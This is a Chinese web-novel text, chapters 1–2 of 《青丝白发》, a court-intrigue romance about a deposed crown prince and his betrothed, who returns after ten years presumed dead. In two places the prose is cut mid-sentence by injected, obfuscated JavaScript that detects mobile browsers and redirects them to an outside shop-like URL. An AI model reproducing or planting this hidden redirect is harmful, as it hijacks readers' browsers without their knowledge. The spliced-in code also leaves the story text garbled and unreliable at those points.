《青丝白发》 1. 似水流年 细柳借风化千刃,寒雪埋掩腐臭腥。 武王五十五年。 周朝丞相丝天辰足智多谋,武将青曲骁勇善战。周王为主,文武做辅,仅用十年便一统中原尽半数国家。大周兼并各地,势如破竹,雄师百万,无人敢犯。 然连年征战,本国也需休养生息。自此纷争暂缓,盛世初开。 怎料天有不测风云,人有旦夕祸福,戎马一生的周武王却在不久突然薨逝。 如今天下初平,但大周因子嗣问题朝局不稳。武王对于朝政是恪尽职守,但予后宫实在不上其心,不尽其力。 王室子孙稀薄只有一子,周高亥,他的生母乃是位无名宫婢,因此十来岁才被知晓,接回中宫抚养。 其人性格内敛,有时古怪。只道教诲过晚,本性难移,多方考察之下实在不堪大任。不过好在有贤妻帮衬。 青泽兰出生武将世家,品行端正,待人亲和。奉旨成婚,与他少年夫妻,育有一子便是当朝太子周冷渊。 没错是跳位册封,说起来有些普遍的隔辈亲。但本质还是因着歹竹出好笋,小太子生而神灵,聪慧机敏,弱而能言,实在稀奇,幼而徇齐,后,长而敦敏。又富而不娇,且贵而不舒,堪称全能模范好孙子。 他似茂草地上的一株仙草,夺目而茁壮,自种子萌发便展露头角。从小被武王独养膝下,礼拜丞相为师,通读四书五经,半人高的年纪便知古史明今往,为周武王选定的继承人。 花开的太艳,独享了阳光,也遮蔽了旁草。 武王走的匆忙,不久王后也郁郁而终,突如其来的意外仿佛大厦将倾,亦是,一鲸落,万物生。 童年冗长在刹那诀别,蓝天白云不现,蝉鸣知叫无踪,花草清香不闻。乐章变得紧凑而突兀。 此时朝中分为两派。一派,拥立太子继位。二说太子年少,因由其父周高亥继位。 周冷渊孤身一人,在巨龙盘旋的大殿中,静静的看着那枚国玺。他的长成伴随着少欢呼,周高亥便受了多少嘲笑。 他与这个父亲并不相熟悉,从前偶偶相聚,留下的印象,似乎怯懦又憨厚。面对爷爷总是畏手畏脚,但也会偷偷送他些别样的玩具。 朝中由周高亥继位的呼声不多,很易查知,皆与他私下来往勤快。周冷渊闭目,心中五味杂陈。陡然失去至亲的庇护,于他一个十几岁的孩子来说有些无措。 “殿下。” 往门口望去,是相府的千金,自小的玩伴。 女孩关切的走来:“一个人呆着会很难过的,娘让我进宫陪你,外头天气不错,我们去花园走走吧?” 阴凉又暗沉的大殿仿佛与世隔绝,都忘了门外还是艳阳天。 “好。” 两人前脚刚迈出门槛,却见周高亥急匆匆赶来。两人愣神之际,再睁眼就到了饭厅。 眼瞅着桌上五味俱全的佳肴,女孩咽了咽口水:“这都是您做的啊?” 周高亥笑着给两人夹菜,又颇为语重心长道:“自从你们皇爷爷走后,冷渊茶不思饭不想。爹明白你同爷爷亲近远比旁人,哪怕是我也更甚。但你如今正是长身体的时候,不可把身子搞垮。他在天上也不会想你如此伤心,这桌子菜我可是忙活了一上午,你万不能不给爹这个面子。” 晚间回了寝殿,开始着手课业。最近落下良多,周冷渊端坐桌前细细温习,而后就寝。 烛火昏黄跳跃,思绪也不经意间深远,如今的他尚未及笄,每日课业就饱和了许多时间,冒然亲政对于大周真的好吗?可父亲年岁虽大,但能力实差。交给他怕是更更不好。 外头树影婆娑,刮风无人挡,下雨无人遮,好似也很寂寞。突然,窗外唰的冒出两个头。给他吓了一跳,只见窗子被轻轻挪开。 六目相对。 青泽兰反应过来噗嗤一笑:“被发现了。” 周高亥挠了挠头,嘿嘿笑道:”还没睡啊?” 周冷渊无语的爬起来给二人行礼,他们挥了挥手,青泽兰轻轻推他上床:“我同你爹就是怕你晚上夜里难眠,不放心来看看。” 两人入门后竟就不走了,坐在床头守着他睡觉来。 有些莫名其妙,周冷渊拒绝无果后默默侧了个身。明日一早还要上课,确实该睡了。 夫妻两以为他不好意思,识趣的不再看他,只是默默相伴。 爷爷奶奶的故去,不常相见的父母却逐渐填补了生活。 课后再没了精确有力的指导,只余无尽的糕点和玩具。但看着那晚的一双背影,他不排斥。 …… 跳位继承本就有些不合乎礼法,大周又以孝法治国。在多方考量下,周冷渊退让了。 最终拟定太子成年前其父代为执政。 他满足父亲的虚荣心,也使其充当一个名誉作用,隔绝不必要的琐事。学习的同时自己也逐步开始兼顾朝政,他需要一些时间。 本以为互惠互利,谁知是噩梦的开篇,周高亥上位仅仅三年,什么憨厚老实抛之脑后,什么家庭和睦无影无踪,名誉天子就此失控。 真有人一装就是小半辈子,周冷渊观他左拥右抱,听着吹捧哈哈大笑的模样,才真正了解到他的冰山一角。 权利的滋润下周高亥一抛往日随和,犹如脱缰的野马放飞自我,不顾劝阻封生母为太后,将母系贩夫走卒都拉入了朝堂。说句难听的,娘家的狗都险些被他安排进宫当卫犬,可谓是一人得道鸡犬升天。 悔之晚矣,只能尽力制衡。父子之间的摩擦愈发多,夫妻之间也不少。 不久喜当哥,不久弟成群。 因着他乱来,朝中的日子也不好过。丝青两家当初极力主张太子继位,如今的日子也最为难过。 丝天辰同青曲还有周高亥三人曾是国子监同窗,现在这层情意不知是好还是坏。 如今看来无非是阻止他做混事还要被情感绑架一番,然后被记恨报复一顿。死不了活受罪,被其党羽视为眼中钉肉中刺,功高盖主说到耳朵起茧子。 一只苍蝇不致命,一群也够烦的。弄也弄不死,挥也挥不去。左右不能弑君,落得个大逆不道。 不去源头,做什么也是徒劳无功。两人看着未来既定的结局,腰一弯,板一举,一个递交辞呈,一个驻守边疆。 怎料周高亥独独放走了青曲,明面上谁的也不驳回,却下旨册封丞相之女丝莫竹为太子妃。 谁不知道他们老周家如今龙潭虎穴,正值壮年的丝天辰一夜间多了些许白发,到底是冒着降罪的风险正大光明的抗旨,还是如何找个法子抗旨呢? 灵光一现,夫妻两准备以孩子年纪太小为由,先拖时间然后默默赖掉。 新茂芽的笋子就是朝气蓬勃,丝莫竹闻此不见愁色更是斗志昂扬:“我才不甘为落逃之将,也不愿丢下同伴。” 相府虽荣华,但丞相夫妇也没拼二胎的执念,这些年就精心培育这么个女儿。自小送她伴太子左右,为以后铺路。可如今这朝局日渐昏暗,眼前只有滚滚乌云和暴雨惊雷,性命攸关,夫妇俩开始游移。 她拉住母亲的手:“娘,我愿意同殿下携手共进,我想留在帝都,但是您和爹必须要走。或许现在天子觉得还得依靠爹,但乱世以平,奸臣仍在,陛下并非明君听不得小人谗言。 与其被蚊蝇一点点的蚕食,不如走的利索。留得青山在,不怕没柴烧。也好叫他们放松警惕,待到殿下及笄,我们再杀他一个回马枪。” 屋外绚烂的烟花绽放黑夜,夺目又震撼。 “险阻罢了,定能过去的。”稚嫩的脸颊上满是坚毅,小小的孩子叫人怎么舍得。 第二日太子便亲自登门,青丝两家自祖上便是世交,因要避嫌青曲未能前来,周冷渊此次也带来了舅舅的劝诫。 思虑再三后丝天辰面对周王的无能暴怒还是毅然决然的辞官回了绍兰。 他闭眼前仍记得周高亥那似无比真切之言:“我们三个是兄弟,为什么你们愿意辅佐父王,却不愿留下帮我?如今太平盛世指日可待,为什么就是不帮我?我们可以一起共享荣华,朕和以前那些君主不一样,我们的情谊也与别人不同,你为何不信朕?你在怪朕给太子和莫竹赐婚?他们原本便是两情相悦不是吗,朕是在成全他们,你们怎么都不懂朕,为什么都要离开朕。” 有一秒差点错信了,曾经一同喝酒望月,剑指天下的情意。 事实证明你守信不代表别人也守,上限和下限都是无限的。 周庸王四年,太子冠礼以行,可那只手却攥紧了龙纹檀木的座椅。 等来的不是顺位,而是出宫,名头竟是相府千金孤苦无依,叫他出宫陪护。 很显然,这些年荒诞的事没少经历,但丝莫竹还是百气不厌:“怎么不叫我进宫去,反叫殿下出宫来。真是老谋深算,好处叫他们占了,往后骂名我来背。” 她说着说着便矫揉造作的往处一躺,众人登时吓了一跳,真当她气出个好歹来了。周冷渊首当其冲,关切的扶起她要叫医侍。 玉白素手轻轻掩嘴:“无事殿下,我只是被气晕了。” 美人如画,眼波流转,玩闹过后是真情流露:“但是殿下,你要忍到什么时候?” 不知不觉父子两已然濒临撕破脸的边缘,只是周冷渊不想走到兵戎相见的那一步。 然天家如战场,刹那都会败北。武王杀伐果断却将孙子养的温润尔雅,终究该让孩子看看世上的凶残才动自护。 同年,奸臣污蔑青家在边关拥兵自重,民间流传当今圣上无能,太子才堪大任,父子两大吵。 好吧是周高亥但方面破防怒吼,酒气熏天的要砍人,青泽兰积怨已久,上来一脚将自己踹进了冷宫。 商谈无果后周冷渊出了宫,单手驾马看着半染青云的明月,有些怅然:“当初,是不是错了。” 一旁马车里探出个头来:“悟已往之不谏,知来者之可追。” 他回看她,月光映衬着柔美的浅笑。 “好。” 丝莫竹闻言来了精神:“呀呼,终于可以拔乱反正了嘛!” …… 太子党和保皇党彻底撕破脸,周高亥身为一国之君不守信用,胡作非为,奸臣当道祸乱朝纲,民不聊生,早就怨声载道。 周冷渊在朝正面硬刚,向上攀升,丝莫竹以及党羽扶危济困,向下扎根。 但两个初出茅庐的少年终究想错了,如今的朝局,不是比谁能力高,而是看谁人更狠。不是谁与争锋,而是你死我活。 明面对立后,周高亥一派也不装了,连阴招都不过一过,明目张胆的刺杀,闹的朝中人心惶惶。 周冷渊的最后一次劝诫,迎来的是忤逆尊长,不敬天子之罪。 “成婚吧。” 太子府外小雪淅淅,屋内气氛低压,难得喘息,女声清脆,出其不意。 周冷渊还当自己幻听了:“什么?” 丝莫竹笑道:“殿下我们成婚吧,这般就有由头叫爹娘还有青伯伯回来。” 微凉的手虚虚附上手背,她的语气变的缓而沉重:“不可再等了殿下,严苛赋税,民间疾苦。” 她叹了口气,想骂但不能言:“血泪换不回恶人的良知,这些年,您还没看透吗?” …… 大雪压枝,青山万里孤寂。 “泽兰,叫你弟弟交出兵权,我们才是一家人。” 青泽兰看着早已面目全非的他,躲过接触冷笑出声。 周高亥看着拒他千里之外的妻子,适才想要触碰她的手掌攥拳:“青泽兰,你不仁不要怪我不义。你能主动劝说最好…” 突然门外进来一群侍卫,忽的架住了她。 “不然的话,就看看你弟弟,是要你的命还是要兵权。” 他说着说着面露凶光,突兀的哈哈大笑:“你以为太子那些伎俩朕不知道?他想借着成婚召回丝天辰和青曲,以此来扳倒我。做梦,等两人成婚入驻东宫,你们一家就团聚了,就在这冷宫之中,阖家团圆吧?啊哈哈哈哈。” 青后眼看着此人前后的两幅嘴脸,突然不再反抗:“我认输,陛下。就借着此次婚礼,我会让青曲交出兵权,但你别困住两个孩子。废了冷渊的太子,叫他随处做个藩王去吧。” 周高亥对于她的服软明显一愣,哼笑着扶起她,担了担衣服的灰:“早这般不就好了,你啊,就是性子太倔。” 当天夜里刀锋没入胸膛,周高亥在剧痛中睁眼,青泽兰面无表情的将利刃又入一寸。 烛台哐当一下掉在地上,宫女前脚刚进门,下一秒就连滚带爬的跑走,双方侍卫霎时鱼贯而入,乒乓的厮打起来。 青泽兰身姿矫健,狠插入肺,翻身下床迅速拿起墙上尘封已久的剑。虽然久别,但鞘里的寒光依旧凌冽。 “娘娘去寻太子殿下吗?” 看了着愈发增多的敌军,握着剑柄的手用力到有些泛白:“去。” 周冷渊同丝莫竹闻此皆惊,即刻整装。 雪天的路不好走,快了打滑,慢了心急。奔驰而来却只见得纵身一跃,全身的血液霎时冰封,他想要接住,可却晚了一步。闷声巨响,眼睁睁的看着母亲倒眼前。鲜红的血液染红了积雪,绽放出生命最后的绚烂。 “不…可…交出,兵…权。我儿……” 丝莫竹来时,被这一幕吓的楞住险些坠马。鼻息脉搏皆无,太医担惊受怕到跪退:“殿下,娘娘…唉,已然仙去,无力回天。” 她担心的看向周冷渊替他擦拭泪水:“殿下,里头怕是一团乱麻,我先进去探路。” 胳膊被大手拉住。 周冷渊将尸身交给母亲的亲卫:“带母亲去府里安顿。” 刚一进宫门就遇适才追上城楼的侍卫,他们如今群龙无首,也是慌不择路,不知该拦不该拦。 “尊陛下旨意,王后连同太子犯上作,行刺天子大逆不道,杀无赦!” 背后有匆匆赶来一队人马,为首是六皇子。 不就是泼脏水,谁不会,丝莫竹冷笑:“分明是你周劉觊觎皇位,弑父杀母。太子殿下这才赶来救驾。” “救你妹!丝莫竹你少在这信口雌黄!” 今晚的夜,霎时灯火通明。 什么四六七八皇子都来掺和,皇宫真成了战场。 一路血拼至殿前,却见周高亥被人抬着出现。满布血丝的眼睛狰狞而又疯狂,力竭的嘶吼:“杀了他!” 千算万算没算到这货生命力顽强,真是好人不长命,祸害遗千年。 正腹诽,皇党的援军蜂蛹而至。 台下火拼当中,三皇子周叁上前:“父王,外头风大您快先行进去养伤。” 周叁生母早逝,被记到青泽兰名下,同周高亥最为亲近。 周叁前脚把老爹送进门,后脚就阳奉阴违止了兵戈,把太子收押。 拖到第二日,朝中众说纷纭。但还没等他们吵完,那未过门的太子妃就携私兵硬破天牢门,带着太子突出重围了。 “杀无赦!杀无赦!把那个逆子杀…杀了!” 这下真是乱成一锅粥,周高亥气的直吐血。但怎么就是不死呢,你说说。 …… 君主昏庸,谋害忠臣良将,小人当道国家痞塞不通。连年征战百姓苦不堪言,本该轻摇赋税休养生息之际,贪官污吏却因一己之私背道而驰。如今太子一党无踪,更是闹的人心惶惶,内忧外患,一江之隔的倭寇来势汹汹。 不过有传言道太子是去了边境,颇有反攻的事态。想想也是,众人心照不宣,闭口不言,只盼着生活能早日回到正轨。 …… “殿下,青将军的传信。” 看完信纸后,众人满面愁容。 本想直接召军反扑,但世上非有一国,内忧具备,外患则至。边境他国借此来犯,若贸然召回军队,怕是一招不慎国破家亡。 “无妨殿下,我们先去边境与青伯伯汇合就无后顾之忧了。爹爹来信,待我们到了,他们就会赶来。先将外患平定,只要你在,哪怕换个都城自立为王,届时再铲除异己。” 看着她的眼睛,躁颤的心得以片刻安宁。周冷渊回握住她的手:“好。 边境不能丢,叫舅舅切莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丝莫竹意识到自己说错话了,姣美的面庞显露照例染上和煦的笑:“若人生一程不变,那才叫无趣。虽然不想事态变成如今模样,但待往后重回正轨,过上安稳的日子,我也能好好和子孙辈吹嘘一番。” 周冷渊被她逗笑:“好,定不会远的。” 气温正升,爱心泡泡冒满天,却陡然画风一转,天各一方。 刚进来是青黛也意识到自己坏了好事,尬笑着默默放下吃食,溜之大吉:“小姐,殿下,这个炀舟抓了只野鸡烤好了,奴婢先告退了。” …… 天,天天不遂人愿,倭寇抓着时机猛攻,青军士苦撑的同时,别处管辖就因朝中无能之士失守。 一次没防住,他们直接战也不站,弃车保帅逃命似的往后撤退。如今朝廷下派的新军在路上,城池以然沦陷。 而周冷渊一行离沦陷的城池最为相近,看着百姓落难,眼前只有两条路,见死不救,苟活于世或是暴露行踪,殊死一搏。 众人主张以大局为重:“殿下当务之急因赶紧与青军汇合,才能救国。” 丝莫竹看着遥遥的城,没有昔日的杨柳依依,滔滔火光几乎要将其吞没。这么远却仿佛可闻哀号遍野,她紧握成拳:“这个也可弃,那个也可舍,若连眼前人都不救,又和谈救天下人。” “小姐,切莫因小失大!如今朝中自顾不暇正是良机,留得青山在不怕没柴烧。” 透过密密竹枝见远处哀鸣,周冷渊的眉心蹙起。 “我等再快些,与舅舅汇合后即刻来救。” 丝莫竹垂眸,架马随同。 路行不远却见战火早已蔓延,母亲抱着孩子步履蹒跚的跑,孩子扶着老人一瘸一拐的逃,后头是吃人的恶魔穷追不舍,扭曲的笑容和难民的惊恐对比鲜明。 不可能不出手的。 长枪呼啸而过,利箭精准制敌。 一众人马突至,倭寇大惊,开始借树东躲西藏。 军师感大事不妙,急忙调转马头:“赶紧上,把这群倭寇灭除,别叫他们回去增叫支援,不若真就走不了了!” 这一队全是精锐不然杀不出都城,很快倭寇都以伏诛。军师夺过尸首上险些拉开的警报竹舒了口气,众人亦然:“殿下赶紧启程吧,这些难民给些粮食,叫他们往国出逃吧。” 他们褴褛的衣衫上全是血迹,自己的,同伴的,亦或是同胞的。 他们不要吃的,血泪声声的苦苦哀求:“大人救救我们的家人,倭寇惨无人道,烧杀抢掠。他们逃不出来,明日会被集中处决,大人,求您了救救我们,救救家,救救…” 在野的日子,若非百姓掩护,他们不可能这般一路顺风。周冷渊攥紧了缰绳却松了口:“传令舅舅派遣人马往此处接应,诸位随我驱除倭寇。” 倭寇被一瞬压退城外,可是若不留兵驻守无异于拱手相让。 城墙之上寒风烈烈,城池内外血红遍野。刮起的风好比利刃,有二人长身玉立,宛若青松,不躲不遮,迎面而对。 “此城难留,就算青军赶到国军也至,届时发生冲突倭寇坐收渔翁之利。护送百姓撤退,君子报仇,十年不晚。等他们到了安全地带我们就撤。” 周冷渊点了点头,丝莫竹叹了口气又补:“所以殿下,此处留我便可,您还是赶紧往处赶。” 温热又粗糙的指节包握,他看着一墙之隔贼寇,以及城中凄苦无比的百姓,摇了摇头:“已经亮了名牌,我若要走需带太多兵马,介时风险太大。” 这么多人要走,短短几日根本不可能实现。 追兵一开始因着倭寇不敢冒然上前,如今自己人冲锋陷阵后,也是又吻了上来。 但这次却引起众怒,百姓们群情激奋。 饶是周高亥再愚蠢也知如此发展大势必去,无奈开始和稀泥,召回改令太子,但丝家女豢养私兵格杀勿论。 …… 紧赶慢赶,还是迟了。扬州城外追兵联合当地军队大举反扑,青军被绊住了脚。 本就被倭寇耗去不少气力的将士们苦苦支撑着一个渺茫的希望,旨意虽改,行动却没有给任何人留下生机。 众目睽睽,为首周劉嚣张跋扈:“皇兄,大名鼎鼎的太子殿下,您可别到这个时候都要沽名钓誉,别逞男子气概护着嫂嫂了,刀剑可不长眼。倘若不小心误伤了您,可就不好呢。就是好可惜,嫂嫂这般好样貌,好心疼。” 丝莫竹胸膛起伏狠狠萃了一口。 渐暗的天一点点磨灭火光,眼看着同袍接连倒下。丝莫竹侧头最后看了眼他,突然脱离保护,在众目睽睽之下迎上一只羽箭。 嗡的一声好似断弦,周冷渊茫然的感受着背后的凉意。 她被尖刃硬生生扎进心脏,却还咬牙笑的得逞又畅快:“我先死了…若殿下,半分差池,你们…抗旨不遵…残,害太,子,都得陪葬……” 兵器有一瞬的停顿,毕竟他们不全是周劉的私兵,有一大批地方的国军。 周冷渊转身之际,六皇子却怒急:“楞着干嘛!杀了他!谁知道是怎么死的,否则我先送你们去见阎王!” 一刀砍下后背,还没有适才那瞬凉意叫人疼。 千钧一发,又不知何处急赶来一队人马,硬生生抗了半晌,然,寡不敌众。 …… “住手!周劉你找死!” 远处匆匆又赶到一行人马,是同新将一块到的三皇子,周叁。 四方混战,一举平定。 “皇兄…哥哥!” 周三翻身下马,焦急的查看过后,顺着周冷渊倒下的方向看去,微微眯起了眼。 此次内乱以一众人的死落下帷幕,千余人活下来的不足十多个。 太子回宫后被废,屡次自杀无果削发入皇陵寺,青灯古佛了此余生。 丞相夫妇至京怒骂天子,最终死不瞑目。 青军被内外夹击,苦不堪言。青曲在一个平平无奇的日子里,悄无声息的留下了虎符,举家消失的无影无踪。军队四散,新将至,节节败退,死于扬州。倭寇惨无人道虐杀百姓,茹毛饮血,抬起浑浊的眼睛,对帝都望眼欲穿,虎视眈眈。 2. 恍若隔世 “你这个死书生!连年战事家里为了供你读书,穷的都揭不开锅了。不是说九死一生去边境寻信物,是为了到帝都好有人帮衬。你你,现在带回了个什么东西!好你个该死的,居然拿上京赶考的钱去倭寇手上赎了只鸡!” 篱笆围墙的院子里,妇人边哭边骂。 书生愧疚的上前,轻搂住高举扫把气势汹汹的娘子。 “娘子消消气,万不可这么说。都是意外,她不过是个青楼洒扫,都怪我没经住那搭伙同伴的邀约。原先只想进去探探情报,入了楼中错把酒水搞混,这才酿成大错。这姑娘一看就是周人,那倭寇先前如何对待我们同胞,我实不忍见她孤苦无依的流落他乡。娘子您要打要罚都是该我受着,可我毕竟是对不住这位姑娘,唉这。” 他身后的女子肤白似雪,虽然衣着破败削瘦不堪,但不施粉黛也能一眼就见是个美人胚子。这般弱柳扶风,还倒更添那风烛残梅之美。饶是单单站在那处,就叫人看的出神,望之入迷。 她的声音宛若久困雨中的百灵:“姐姐我并非想扰您家中,一切都是…” 书生的娘子看了她一眼,冷笑道:“少扯皮,就她这般的容貌只是个洒扫?你们蒙谁能!” 闻言女子拨开左肩,露出胸口狰狞的伤疤,空气中霎时弥漫这一股极其霸道的恶臭,令人生理性反胃的烂肉味,真真是叫人恶寒。 对面两人登时大惊失色,书生脸色煞白一边干呕一边暗骂自己,怎么不记得有这回臭事。 娘子掩着口鼻,嫌弃的甩开往出挪的男人,也忍不住干呕。实在太臭了,是直击心灵的毒臭:“yue我就说怎么有股若隐若现的yue恶臭,原来是她yue。这都下的去口,你怕不是精虫上脑看着这张狐媚脸把什么都忘了!yue” “我yue我,那天明明没有啊!” 女子扯回衣服,退后二里地,低头解释道:“当年战乱虽得以苟延残喘,却因伤口未曾好生照料,自此恶臭无比,叫人难以接近,当晚我同这位公子其实…” 两人这才吸得一口新鲜气。 听到一半娘子更为火冒三丈:“你们这对奸夫□□,居然还敢在我面前你一言我一语的提及当晚,简直不要脸!” 女子面对着接踵而至的扫把连连后退,直到退无可退:“娘子听我一言,我与公子没有发生任何…” 娘子不可置信的笑道:“你们忽悠鬼呢!不给他睡他干嘛给你赎身?他说睡了,你说没睡,这么怕吃扫帚,怕你不看准了人,什么人都敢跟!” “是啊,他不睡我作甚帮我。那我有体味他怎不知?” 娘子被她突然硬气夺把唬住了。 女子这才又缓和了语气:“抱歉,那晚我用了幻香。您放心,钱我会还,恩我也会报。” 这回轮到夫妇两懵了,最懵的还是当事人,书生你我半天,楞住了。 她继续解释:“我乃相府家奴,当年扬州战乱为护小姐中箭,醒来便在倭寇的妓院之中。言语不通,都不知今夕何年,只推得大概。真是走投无路才初出此下策,待我回去必有重谢。还想请问二位,如今朝中局势如何?府里都还好吗?” 边境,战乱,丞相府,闻言娘子的面色在惊讶中缓和了些:“可是丝丞相?” “是,不知小姐如何了,老爷他们怎么样了?” 娘子眼神哀切的看了书生一眼,书生叹了口气:“当年莫竹小姐为护太子殿下死后,丞相便前往帝触怒龙颜.....已被杀害。” 支撑了无数个漫长无望之海的火光磨灭,油尽灯枯。丝莫竹彻底跌坐在地,双手垂落,双目灰暗。身体的温度从头顶极速下降,旁人的后话她全然听不清了,良久她麻木的问道:“那太子呢?他,他可活下来,不是说要召他回去的吗?” “唉,十年了姑娘你也别太难过,当年丞相夫妇是两人独往,只带了亲信,其余人都有安置,说不定你的家人还在。太子如今已然重回其位。 当年六皇子阳奉阴违想要诛杀太子,你家小姐舍身相护后,他未来得及动手便有一伙人从天而降殊死搏斗。随后三皇子也同新将赶至,将殿下安全带回了帝都。 说来也是对苦命鸳鸯,殿下回宫后郁郁寡欢多次欲要自刎,全然无果后便削发入了皇陵寺。” 他越说越起劲,就差给张桌子,不然能能上村口说书:“就在大伙都以为他废了,未曾想一直在卧薪尝胆。今年春儿一鸣惊人,一举重登太子位,力挽狂澜杀了一众犯上作乱的奸臣皇子,诶呀,简直太爽了。 从前告老还乡的大臣也陆续归来报效,连青曲将军也重回了朝野,正前往这收复失地呢。朝野上下百废待兴,广纳贤臣,轻摇赋税。也正因如此我才敢冒险出境。哦!你不是丝小姐的丫鬟吗,你可知你家小姐尸骨何处?殿下一直在寻,想来也是对丝小姐情深似海。” 书生正陶醉着,娘子则耐人寻味的撇了他一眼:“人刚刚都问了,小姐如何?你耳朵聋吗。她当时都重伤了吧,怎么会知道。而且太子?呵呵,都另娶了还什么情深似海,你们男人都一个样。” 说了一大堆她勉强听进了个活着,脑子嗡嗡的,感觉魂魄都被生生扯碎了。她努力的将话反复默念想要理解,却似有屏障般读也读不懂。 不知过了多久,丝莫竹垂下眼帘,两行泪落,她吸了吸鼻子下意识看向怀中问道:“不知娶的是那家小姐?” 娘子去扶,才发现她整个人以然脱力,更加心疼的搓了搓单薄的臂膀:“正做些,没事的。娶的嘛就是那个韩家千金,啧啧啧,想当年韩家还是丝府的门生,如今都封侯拜相了。” 她自嘲的笑了笑,问这些个还有什么意义:“原来如此,多谢娘子。” 丝莫竹往怀里掏出枚玉佩递给娘子,麻木道:“这枚玉佩值点钱,用它上京兴许随你们有用。给你们添麻烦了,我这便走了。” “不行!” 后头泥墙矮屋,拐杖咚咚敲击地面,颤巍巍走出个满头霜白的老太。她眼神犀利的看着丝莫竹:“既然是我孙赎了你,你理应嫁给他,你以前是大户人家的下人?在帝都必定认识些人,对他以后的仕途也有帮助。明日便要上帝都,今晚便过了门,明早启程。” 娘子刚要反驳,老太太狠厉的骂道:“你这个生不出蛋的,想让我们家绝后吗?” 丝莫竹眉眼一沉,没来得及反驳,老太太眼神示意,门里又跳出对夫妻,唰的把她给绑了。 是夜“洞房花烛”,书生才抱歉的替她解开绳子,不知有意无意,指尖总是触碰到她的小臂。丝莫竹面无表情,默不作声的开了开衣领,恶臭又横行霸道的钻进了七窍。 书生皱眉收手。 “公子,我想回家。” 因着相府的关系,书生也不太敢妄为,于是退了出去。 丝莫竹一夜无眠,次日随着书生与娘子一道启程。了无生气的眼神满是执念,心中不断重复着复仇二字,才让现下不至于为痛苦吞没。找回爹娘的尸骨,亲手为冤魂报仇。 至于负心薄性之人,于国仇家恨而言可以忽略。 山路崎岖,马车又破又颠,肩胛骨摩擦着车壁生疼。路上听说周冷渊把爹娘的尸骨带回了皇陵寺,若想不打草惊蛇,怕是还得盘旋几日。 趁着二人打岔的间隙,丝莫竹悄无声息的开溜。虽别十年,但此处她还算熟。 依着旧时记忆,走在如今的街上只觉陌生。泪水不争气的模糊了视线。立在家门前的柱旁,突然没有了进去的勇气,好一阵人来人往,她迈步绕到一处相隔不远的院落,轻车熟路翻墙而入。 通过密道,直达相府内部。 窗外的地上不曾有枯叶,锃亮的石桌不曾有落灰。屋内陈设依旧,却空空荡荡没有人气。竟与十多年前出门前一致,这扇木门后似乎有光射的人恍惚,今夕是何年?刚下学堂回家吧,只是做了噩梦一场。 手无意间垂落,划在粗布衣服上,令她惊醒,凉气直灌喉咙,如利刃般割开喉管,鼻头酸涩眼眶的热泪滚滚而出。楼下有些响动,她赶忙进屋往床底拿了些银钱,不敢停留原路返回。 换了身干净行头,绸白的衣裙虽晃眼但如今她的双目别不出其余颜色,面纱上的一双凤眸只有滔天的恨意。 用药水洗去了伴随了十年的恶臭,空气竟也是清甜无比。 不敢停留,她匆匆上街,准备先去城外安营,再谋他事。 怎料走在路上不慎与人撞肩而过,那人浑身酒气,嘴上骂着眼神像要杀人。 丝莫竹不想惹事,递上银钱,说了声抱歉便抬步离开。没成想那人拿着钱突然暴怒,趁她转身之际死死拽住她的头发,狠狠往路中央推去。 丝莫竹猝不及防的撞在了疾驰而过的马车轱辘上,被弹开的瞬间,脑袋重重的磕在石板地上,血霎时间蔓延开来,耳边嗡鸣,意识难聚,车上好似下来一个身量极高的男人,张嘴对她说着什么。 …… “你说她是你名义上的小妾,还是原相府的下人,从边境救回来的?” 书生点了点头,丝莫竹迷茫的睁开清澈的眼眸,好奇的打量着他们,缓缓问出:“你们谁?我在哪?” 身穿官袍的男子,忧心的看了她一眼:“可还记得他是你的丈夫,这个是你大娘子,你今天上街遇到无赖,发生了点口角撞破头,大夫说你醒来后可能会失忆...” “什么,我是他的娘子?哦不,我还是妾室?没搞错吧?”丝莫竹不可置信的睁大了眼睛。 书生和娘子闻言皆是一愣,随后便拿出了玉佩。将她所言身世又删删减减说了一遍:“我在边境遇见你…” 娘子扯了扯书生的衣袖,他轻咳继续道:“将你带了回来,你说你是相府千金的丫鬟,因十年前那场谋乱流往边境。而后你为了感谢就将玉佩送给了我娘子,本想走的,但因为一些原因我就不得以假意娶了你,原也不作数的。” 丝莫竹拿过玉佩左右端详,动作稍大一点,牵扯到头就一阵眩晕了。她头疼道:“叽里咕噜的说什么,什么府什么东西的,我听不明白。" 他们又重复了一遍,丝莫竹蹙眉听着:“讲的人头疼,别念了。总之是不做数的假婚,我是什么府里的丫鬟,那你们把我送回去不就得了。” 官袍男子面露难色:“丞相一家十年前便全殁了,相府如今空宅一座,你能活着以是不易。” 他也拿过玉佩对光细细查看,虽做工粗糙但成色极好,就算略有破损也价值连城。 青策随手还给了她,对夫妇道:“既是相府旧人我便留下了,在下青策。也想等她痊愈后问问莫竹姐姐的下落,表哥很想念莫竹姐姐,届时若有下落,必有重谢。" “原来是小青将军。”书生和娘子俯首。 他们拿钱走后,丝莫竹空白的脑子里一堆莫名的信息,杂乱又突兀,她呆呆问道:“你们说我是丞相府的人,又什么战乱边境的,救我出来是什么意思?我咋不自己回来。” 青策无奈轻叹:“因为边境被敌国占领,那帮畜生残杀百姓无恶不作,你看看自己手臂上的鞭痕。”说到这他的眼神里充满了愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239488|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒,拳头也不自觉的捏紧了。 丝莫竹看了一眼胳膊,撸下袖子掩了掩,尴尬的笑道:“劳烦您安置我了,能给我说说现下的大致情况吗?” 青策一副不好惹的模样点了点头:“你可能走了?马车在门外我与你路上说。” 